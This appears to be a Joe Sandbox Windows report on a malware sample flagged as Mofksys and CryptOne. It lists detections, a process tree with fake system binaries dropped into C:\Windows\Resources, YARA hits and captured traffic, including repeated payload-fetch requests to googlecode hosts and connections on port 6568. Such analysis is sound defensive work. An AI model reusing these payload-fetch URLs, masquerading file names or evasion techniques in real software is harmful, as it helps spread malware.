Edit tour

Windows Analysis Report
sJ9Q8UWMAX.com_7fdb00c80f0250575a05601c08627d50

Overview

General Information

Sample Name:	sJ9Q8UWMAX.com_7fdb00c80f0250575a05601c08627d50 (renamed file extension from com_7fdb00c80f0250575a05601c08627d50 to exe)
Analysis ID:	666578
MD5:	7fdb00c80f0250575a05601c08627d50
SHA1:	709a67ee148978a05bb3c3b530d68004c1eb5196
SHA256:	5d47d5ad88c5d99cac3a860e682bb9542046e05ee33b3a4fd896db5464e7f0a6
Tags:	exe
Infos:

Detection

CryptOne, Mofksys

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Yara detected Mofksys

Antivirus / Scanner detection for submitted sample

System process connects to network (likely due to code injection or exploit)

Detected CryptOne packer

Detected unpacking (changes PE section rights)

Antivirus detection for dropped file

PE file has a writeable .text section

Queries memory information (via WMI often done to detect virtual machines)

Machine Learning detection for sample

Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Machine Learning detection for dropped file

Hides that the sample has been downloaded from the Internet (zone.identifier)

Drops executables to the windows directory (C:\Windows) and starts them

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Drops PE files with benign system names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Deletes files inside the Windows folder

May sleep (evasive loops) to hinder dynamic analysis

Creates files inside the system directory

Detected potential crypto function

JA3 SSL client fingerprint seen in connection with other malware

IP address seen in connection with other malware

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

Queries information about the installed CPU (vendor, model number etc)

PE file does not import any functions

Modifies existing windows services

Sample file is different than original file name gathered from version info

OS version to string mapping found (often used in BOTs)

PE file contains an invalid checksum

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Uses a known web browser user agent for HTTP communication

Drops PE files to the windows directory (C:\Windows)

Detected TCP or UDP traffic on non-standard ports

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries disk information (often used to detect virtual machines)

Found large amount of non-executed APIs

Contains functionality to detect virtual machines (SGDT)

Classification

Process Tree

System is w10x64

sJ9Q8UWMAX.exe (PID: 6872 cmdline: "C:\Users\user\Desktop\sJ9Q8UWMAX.exe" MD5: 7FDB00C80F0250575A05601C08627D50)

sj9q8uwmax.exe (PID: 6912 cmdline: c:\users\user\desktop\sj9q8uwmax.exe MD5: 871EB4B8AEFAEA1113DD3F08B7CB535C)

sj9q8uwmax.exe (PID: 7024 cmdline: "c:\users\user\desktop\sj9q8uwmax.exe " --local-service MD5: 871EB4B8AEFAEA1113DD3F08B7CB535C)

sj9q8uwmax.exe (PID: 2884 cmdline: "c:\users\user\desktop\sj9q8uwmax.exe " --local-control MD5: 871EB4B8AEFAEA1113DD3F08B7CB535C)

icsys.icn.exe (PID: 6972 cmdline: C:\Windows\Resources\Themes\icsys.icn.exe MD5: 0A9BDF90EF50DEF16C6D4C363D0F0B9C)

explorer.exe (PID: 7056 cmdline: c:\windows\resources\themes\explorer.exe MD5: DD8285E811872E2562A43A04A7B27672)

spoolsv.exe (PID: 2532 cmdline: c:\windows\resources\spoolsv.exe SE MD5: A97B2BA7591F981B8BBB1CE5E78C8D3A)

svchost.exe (PID: 2960 cmdline: c:\windows\resources\svchost.exe MD5: E2A51AD55E5850D878E994E774D44ED1)

spoolsv.exe (PID: 5092 cmdline: c:\windows\resources\spoolsv.exe PR MD5: A97B2BA7591F981B8BBB1CE5E78C8D3A)

svchost.exe (PID: 6104 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6536 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: 32569E403279B3FD2EDB7EBD036273FA)

explorer.exe (PID: 2928 cmdline: "C:\windows\resources\themes\explorer.exe" RO MD5: DD8285E811872E2562A43A04A7B27672)

svchost.exe (PID: 6468 cmdline: "C:\windows\resources\svchost.exe" RO MD5: E2A51AD55E5850D878E994E774D44ED1)

svchost.exe (PID: 4672 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
sJ9Q8UWMAX.exe	JoeSecurity_Mofksys	Yara detected Mofksys	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Windows\Resources\Themes\explorer.exe	JoeSecurity_Mofksys	Yara detected Mofksys	Joe Security
C:\Windows\Resources\Themes\icsys.icn.exe	JoeSecurity_Mofksys	Yara detected Mofksys	Joe Security
C:\Windows\Resources\spoolsv.exe	JoeSecurity_Mofksys	Yara detected Mofksys	Joe Security
C:\Windows\Resources\svchost.exe	JoeSecurity_Mofksys	Yara detected Mofksys	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000005.00000000.464382819.0000000000401000.00000080.00000001.01000000.0000000A.sdmp	JoeSecurity_Mofksys	Yara detected Mofksys	Joe Security
0000000B.00000002.507320494.0000000000402000.00000080.00000001.01000000.0000000B.sdmp	JoeSecurity_Mofksys	Yara detected Mofksys	Joe Security
00000008.00000002.515627841.0000000000402000.00000080.00000001.01000000.0000000B.sdmp	JoeSecurity_Mofksys	Yara detected Mofksys	Joe Security
00000010.00000002.563844103.0000000000402000.00000080.00000001.01000000.0000000C.sdmp	JoeSecurity_Mofksys	Yara detected Mofksys	Joe Security
00000008.00000000.485612261.0000000000401000.00000080.00000001.01000000.0000000B.sdmp	JoeSecurity_Mofksys	Yara detected Mofksys	Joe Security
00000005.00000002.700344270.0000000000402000.00000080.00000001.01000000.0000000A.sdmp	JoeSecurity_Mofksys	Yara detected Mofksys	Joe Security
00000002.00000002.490867469.0000000000402000.00000080.00000001.01000000.00000007.sdmp	JoeSecurity_Mofksys	Yara detected Mofksys	Joe Security
0000000D.00000000.534411467.0000000000401000.00000080.00000001.01000000.0000000A.sdmp	JoeSecurity_Mofksys	Yara detected Mofksys	Joe Security
00000009.00000002.700388006.0000000000402000.00000080.00000001.01000000.0000000C.sdmp	JoeSecurity_Mofksys	Yara detected Mofksys	Joe Security
0000000D.00000002.536439832.0000000000402000.00000080.00000001.01000000.0000000A.sdmp	JoeSecurity_Mofksys	Yara detected Mofksys	Joe Security
00000002.00000000.456086983.0000000000401000.00000080.00000001.01000000.00000007.sdmp	JoeSecurity_Mofksys	Yara detected Mofksys	Joe Security
00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp	JoeSecurity_Mofksys	Yara detected Mofksys	Joe Security
00000009.00000000.487856728.0000000000401000.00000080.00000001.01000000.0000000C.sdmp	JoeSecurity_Mofksys	Yara detected Mofksys	Joe Security
0000000B.00000000.505285070.0000000000401000.00000080.00000001.01000000.0000000B.sdmp	JoeSecurity_Mofksys	Yara detected Mofksys	Joe Security
00000000.00000000.435290439.0000000000401000.00000080.00000001.01000000.00000003.sdmp	JoeSecurity_Mofksys	Yara detected Mofksys	Joe Security
00000010.00000000.557848995.0000000000401000.00000080.00000001.01000000.0000000C.sdmp	JoeSecurity_Mofksys	Yara detected Mofksys	Joe Security
Process Memory Space: sJ9Q8UWMAX.exe PID: 6872	JoeSecurity_Mofksys	Yara detected Mofksys	Joe Security
Process Memory Space: icsys.icn.exe PID: 6972	JoeSecurity_Mofksys	Yara detected Mofksys	Joe Security
Click to see the 13 entries

Unpacked PEs

Source	Rule	Description	Author
2.2.icsys.icn.exe.400000.0.unpack	JoeSecurity_Mofksys	Yara detected Mofksys	Joe Security
11.2.spoolsv.exe.400000.0.unpack	JoeSecurity_Mofksys	Yara detected Mofksys	Joe Security
11.0.spoolsv.exe.400000.0.unpack	JoeSecurity_Mofksys	Yara detected Mofksys	Joe Security
8.2.spoolsv.exe.400000.0.unpack	JoeSecurity_Mofksys	Yara detected Mofksys	Joe Security
9.2.svchost.exe.400000.0.unpack	JoeSecurity_Mofksys	Yara detected Mofksys	Joe Security
0.2.sJ9Q8UWMAX.exe.400000.0.unpack	JoeSecurity_Mofksys	Yara detected Mofksys	Joe Security
13.0.explorer.exe.400000.0.unpack	JoeSecurity_Mofksys	Yara detected Mofksys	Joe Security
9.0.svchost.exe.400000.0.unpack	JoeSecurity_Mofksys	Yara detected Mofksys	Joe Security
16.0.svchost.exe.400000.0.unpack	JoeSecurity_Mofksys	Yara detected Mofksys	Joe Security
13.2.explorer.exe.400000.0.unpack	JoeSecurity_Mofksys	Yara detected Mofksys	Joe Security
8.0.spoolsv.exe.400000.0.unpack	JoeSecurity_Mofksys	Yara detected Mofksys	Joe Security
5.2.explorer.exe.400000.0.unpack	JoeSecurity_Mofksys	Yara detected Mofksys	Joe Security
2.0.icsys.icn.exe.400000.0.unpack	JoeSecurity_Mofksys	Yara detected Mofksys	Joe Security
5.0.explorer.exe.400000.0.unpack	JoeSecurity_Mofksys	Yara detected Mofksys	Joe Security
16.2.svchost.exe.400000.0.unpack	JoeSecurity_Mofksys	Yara detected Mofksys	Joe Security
0.0.sJ9Q8UWMAX.exe.400000.0.unpack	JoeSecurity_Mofksys	Yara detected Mofksys	Joe Security
Click to see the 11 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: sJ9Q8UWMAX.exe	Virustotal: Detection: 86%	Perma Link
Source: sJ9Q8UWMAX.exe	Metadefender: Detection: 85%	Perma Link
Source: sJ9Q8UWMAX.exe	ReversingLabs: Detection: 100%

Antivirus / Scanner detection for submitted sample

Source: sJ9Q8UWMAX.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Windows\Resources\Themes\icsys.icn.exe	Avira: detection malicious, Label: TR/Patched.Ren.Gen
Source: C:\Windows\Resources\spoolsv.exe	Avira: detection malicious, Label: TR/Patched.Ren.Gen
Source: C:\Windows\Resources\svchost.exe	Avira: detection malicious, Label: TR/Patched.Ren.Gen
Source: C:\Windows\Resources\Themes\explorer.exe	Avira: detection malicious, Label: TR/Patched.Ren.Gen

Machine Learning detection for sample

Source: sJ9Q8UWMAX.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Source: C:\Windows\Resources\Themes\icsys.icn.exe	Joe Sandbox ML: detected
Source: C:\Windows\Resources\spoolsv.exe	Joe Sandbox ML: detected
Source: C:\Windows\Resources\svchost.exe	Joe Sandbox ML: detected
Source: C:\Windows\Resources\Themes\explorer.exe	Joe Sandbox ML: detected

Source: sJ9Q8UWMAX.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 185.229.191.39:443 -> 192.168.2.5:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 49.12.130.236:443 -> 192.168.2.5:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 49.12.130.236:443 -> 192.168.2.5:49856 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 49.12.130.237:443 -> 192.168.2.5:49889 version: TLS 1.2

Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\dda-64\privacy_feature\privacy_feature.pdb source: sj9q8uwmax.exe , 00000001.00000002.742694310.0000000000E99000.00000004.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000001.00000003.452980475.00000000021F9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\app-32\win_loader\AnyDesk.pdb source: sj9q8uwmax.exe , 00000001.00000002.745852702.0000000000FB9000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\dwm-32\win_dwm\win_dwm.pdb source: sj9q8uwmax.exe , 00000001.00000002.742694310.0000000000E99000.00000004.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000001.00000003.452980475.00000000021F9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\dwm-64\win_dwm\win_dwm.pdb source: sj9q8uwmax.exe , 00000001.00000002.742694310.0000000000E99000.00000004.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000001.00000003.452980475.00000000021F9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\dda-32\privacy_feature\privacy_feature.pdb source: sj9q8uwmax.exe , 00000001.00000002.742694310.0000000000E99000.00000004.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000001.00000003.452980475.00000000021F9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\app-32\win_app\win_app.pdb source: sj9q8uwmax.exe , 00000001.00000003.452980475.00000000021F9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\app-32\win_app\win_app.pdb@ source: sj9q8uwmax.exe , 00000001.00000003.452980475.00000000021F9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: SAS.pdbR source: sj9q8uwmax.exe , 00000001.00000002.742694310.0000000000E99000.00000004.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000001.00000003.452980475.00000000021F9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: SAS.pdb source: sj9q8uwmax.exe , 00000001.00000002.742694310.0000000000E99000.00000004.00000001.01000000.00000006.sdmp, sj9q8uwmax.exe , 00000001.00000003.452980475.00000000021F9000.00000004.00000800.00020000.00000000.sdmp

Spreading

Yara detected Mofksys

Source: Yara match	File source: sJ9Q8UWMAX.exe, type: SAMPLE
Source: Yara match	File source: 2.2.icsys.icn.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.spoolsv.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.spoolsv.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.spoolsv.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.sJ9Q8UWMAX.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.0.explorer.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.0.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.explorer.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.spoolsv.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.explorer.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.icsys.icn.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.explorer.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.sJ9Q8UWMAX.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000000.464382819.0000000000401000.00000080.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.507320494.0000000000402000.00000080.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.515627841.0000000000402000.00000080.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.563844103.0000000000402000.00000080.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000000.485612261.0000000000401000.00000080.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.700344270.0000000000402000.00000080.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.490867469.0000000000402000.00000080.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000000.534411467.0000000000401000.00000080.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.700388006.0000000000402000.00000080.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.536439832.0000000000402000.00000080.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.456086983.0000000000401000.00000080.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000000.487856728.0000000000401000.00000080.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000000.505285070.0000000000401000.00000080.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.435290439.0000000000401000.00000080.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000000.557848995.0000000000401000.00000080.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: sJ9Q8UWMAX.exe PID: 6872, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: icsys.icn.exe PID: 6972, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\Resources\Themes\explorer.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\Resources\Themes\icsys.icn.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\Resources\spoolsv.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\Resources\svchost.exe, type: DROPPED

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\Resources\Themes\explorer.exe	Domain query: codecmd02.googlecode.com
Source: C:\Windows\Resources\Themes\explorer.exe	Network Connect: 142.250.102.82 80	Jump to behavior
Source: C:\Windows\Resources\Themes\explorer.exe	Domain query: codecmd01.googlecode.com
Source: C:\Windows\Resources\Themes\explorer.exe	Domain query: codecmd03.googlecode.com

Source: Joe Sandbox View

JA3 fingerprint: c91bde19008eefabce276152ccd51457

Source: Joe Sandbox View

IP Address: 92.223.88.41 92.223.88.41

Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/tjcm.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: codecmd01.googlecode.comConnection: Keep-Alive

Source: global traffic	TCP traffic: 192.168.2.5:49771 -> 92.223.88.41:6568
Source: global traffic	TCP traffic: 192.168.2.5:49813 -> 49.12.130.236:6568

Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889

